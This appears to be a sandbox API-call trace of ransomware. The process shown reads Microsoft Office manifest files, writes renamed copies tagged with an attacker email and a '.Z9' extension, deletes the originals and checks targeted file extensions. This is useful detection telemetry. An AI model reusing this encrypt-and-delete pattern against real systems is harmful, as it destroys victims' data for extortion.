	[0076.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0076.761] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.761] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0076.761] GetLastError () returned 0x0
	[0076.761] ReadFile (in: hFile=0x300, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0076.763] WriteFile (in: hFile=0x37c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0076.764] ReadFile (in: hFile=0x300, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.764] WriteFile (in: hFile=0x37c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0076.764] SetEndOfFile (hFile=0x37c) returned 1
	[0076.764] CloseHandle (hObject=0x37c) returned 1
	[0077.801] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.801] SetEndOfFile (hFile=0x300) returned 1
	[0078.442] CloseHandle (hObject=0x300) returned 1
	[0078.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0078.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0409-1000-0000000ff1ce.xml")) returned 1
	[0078.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0078.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0078.673] lstrlenW (lpString=".doc") returned 4
	[0078.673] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.673] lstrlenW (lpString=".docx") returned 5
	[0078.673] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.673] lstrlenW (lpString=".pdf") returned 4
	[0078.673] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.673] lstrlenW (lpString=".xls") returned 4
	[0078.673] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.673] lstrlenW (lpString=".xlsx") returned 5
	[0078.673] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.674] lstrlenW (lpString=".ppt") returned 4
	[0078.674] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0078.674] lstrlenW (lpString=".zip") returned 4
	[0078.674] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.674] lstrlenW (lpString=".rar") returned 4
	[0078.674] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.674] lstrlenW (lpString=".bz2") returned 4
	[0078.674] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.674] lstrlenW (lpString=".7z") returned 3
	[0078.674] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0078.674] lstrlenW (lpString=".dbf") returned 4
	[0078.674] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0078.674] lstrlenW (lpString=".1cd") returned 4
	[0078.674] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0078.674] lstrlenW (lpString=".jpg") returned 4
	[0078.674] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0078.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0078.674] lstrlenW (lpString=".doc") returned 4
	[0078.674] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.674] lstrlenW (lpString=".docx") returned 5
	[0078.674] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.674] lstrlenW (lpString=".pdf") returned 4
	[0078.674] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.674] lstrlenW (lpString=".xls") returned 4
	[0078.674] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.674] lstrlenW (lpString=".xlsx") returned 5
	[0078.674] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.674] lstrlenW (lpString=".ppt") returned 4
	[0078.674] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0078.674] lstrlenW (lpString=".zip") returned 4
	[0078.675] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.675] lstrlenW (lpString=".rar") returned 4
	[0078.675] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.675] lstrlenW (lpString=".bz2") returned 4
	[0078.675] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.675] lstrlenW (lpString=".7z") returned 3
	[0078.675] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0078.675] lstrlenW (lpString=".dbf") returned 4
	[0078.675] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0078.675] lstrlenW (lpString=".1cd") returned 4
	[0078.675] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned 104
	[0078.675] lstrlenW (lpString=".jpg") returned 4
	[0078.675] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.675] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0078.675] lstrlenW (lpString="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 53
	[0078.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0078.675] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=14913) returned 1
	[0078.675] CloseHandle (hObject=0x384) returned 1
	[0078.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0078.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0078.676] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.676] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0078.676] GetLastError () returned 0x0
	[0078.676] ReadFile (in: hFile=0x384, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x3a41, lpOverlapped=0x0) returned 1
	[0078.678] WriteFile (in: hFile=0x374, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x3a50, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x3a50, lpOverlapped=0x0) returned 1
	[0078.679] ReadFile (in: hFile=0x384, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.679] WriteFile (in: hFile=0x374, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0078.679] SetEndOfFile (hFile=0x374) returned 1
	[0078.679] CloseHandle (hObject=0x374) returned 1
	[0078.681] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.681] SetEndOfFile (hFile=0x384) returned 1
	[0078.682] CloseHandle (hObject=0x384) returned 1
	[0078.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0078.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 1
	[0078.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0078.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0078.682] lstrlenW (lpString=".doc") returned 4
	[0078.682] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.682] lstrlenW (lpString=".docx") returned 5
	[0078.682] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.682] lstrlenW (lpString=".pdf") returned 4
	[0078.683] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.683] lstrlenW (lpString=".xls") returned 4
	[0078.683] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.683] lstrlenW (lpString=".xlsx") returned 5
	[0078.683] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.683] lstrlenW (lpString=".ppt") returned 4
	[0078.683] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0078.683] lstrlenW (lpString=".zip") returned 4
	[0078.683] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.683] lstrlenW (lpString=".rar") returned 4
	[0078.683] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.683] lstrlenW (lpString=".bz2") returned 4
	[0078.683] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.683] lstrlenW (lpString=".7z") returned 3
	[0078.683] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0078.683] lstrlenW (lpString=".dbf") returned 4
	[0078.683] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0078.683] lstrlenW (lpString=".1cd") returned 4
	[0078.683] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0078.683] lstrlenW (lpString=".jpg") returned 4
	[0078.683] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0078.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0078.683] lstrlenW (lpString=".doc") returned 4
	[0078.683] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.683] lstrlenW (lpString=".docx") returned 5
	[0078.683] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.683] lstrlenW (lpString=".pdf") returned 4
	[0078.683] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.683] lstrlenW (lpString=".xls") returned 4
	[0078.684] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.684] lstrlenW (lpString=".xlsx") returned 5
	[0078.684] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.684] lstrlenW (lpString=".ppt") returned 4
	[0078.684] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0078.684] lstrlenW (lpString=".zip") returned 4
	[0078.684] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.684] lstrlenW (lpString=".rar") returned 4
	[0078.684] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.684] lstrlenW (lpString=".bz2") returned 4
	[0078.684] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.684] lstrlenW (lpString=".7z") returned 3
	[0078.684] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0078.684] lstrlenW (lpString=".dbf") returned 4
	[0078.684] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0078.684] lstrlenW (lpString=".1cd") returned 4
	[0078.684] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0078.684] lstrlenW (lpString=".jpg") returned 4
	[0078.684] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.684] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0078.684] lstrlenW (lpString="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 53
	[0078.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0078.685] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=357349) returned 1
	[0078.685] CloseHandle (hObject=0x384) returned 1
	[0078.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0078.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0078.685] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.685] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0078.685] GetLastError () returned 0x0
	[0078.685] ReadFile (in: hFile=0x384, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x573e5, lpOverlapped=0x0) returned 1
	[0078.694] WriteFile (in: hFile=0x374, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x573f0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x573f0, lpOverlapped=0x0) returned 1
	[0078.700] ReadFile (in: hFile=0x384, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.700] WriteFile (in: hFile=0x374, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0078.700] SetEndOfFile (hFile=0x374) returned 1
	[0078.700] CloseHandle (hObject=0x374) returned 1
	[0078.708] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.708] SetEndOfFile (hFile=0x384) returned 1
	[0078.715] CloseHandle (hObject=0x384) returned 1
	[0078.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0078.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 1
	[0078.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0078.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0078.716] lstrlenW (lpString=".doc") returned 4
	[0078.716] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.716] lstrlenW (lpString=".docx") returned 5
	[0078.716] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.716] lstrlenW (lpString=".pdf") returned 4
	[0078.716] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.716] lstrlenW (lpString=".xls") returned 4
	[0078.716] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.716] lstrlenW (lpString=".xlsx") returned 5
	[0078.716] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.716] lstrlenW (lpString=".ppt") returned 4
	[0078.716] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0078.716] lstrlenW (lpString=".zip") returned 4
	[0078.716] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.716] lstrlenW (lpString=".rar") returned 4
	[0078.716] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.716] lstrlenW (lpString=".bz2") returned 4
	[0078.716] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.716] lstrlenW (lpString=".7z") returned 3
	[0078.716] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0078.716] lstrlenW (lpString=".dbf") returned 4
	[0078.716] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0078.716] lstrlenW (lpString=".1cd") returned 4
	[0078.716] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0078.716] lstrlenW (lpString=".jpg") returned 4
	[0078.716] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0078.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0078.716] lstrlenW (lpString=".doc") returned 4
	[0078.717] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.717] lstrlenW (lpString=".docx") returned 5
	[0078.717] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.717] lstrlenW (lpString=".pdf") returned 4
	[0078.717] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.717] lstrlenW (lpString=".xls") returned 4
	[0078.717] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.717] lstrlenW (lpString=".xlsx") returned 5
	[0078.717] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.717] lstrlenW (lpString=".ppt") returned 4
	[0078.717] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0078.717] lstrlenW (lpString=".zip") returned 4
	[0078.717] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.717] lstrlenW (lpString=".rar") returned 4
	[0078.717] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.717] lstrlenW (lpString=".bz2") returned 4
	[0078.717] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.717] lstrlenW (lpString=".7z") returned 3
	[0078.717] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0078.717] lstrlenW (lpString=".dbf") returned 4
	[0078.717] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
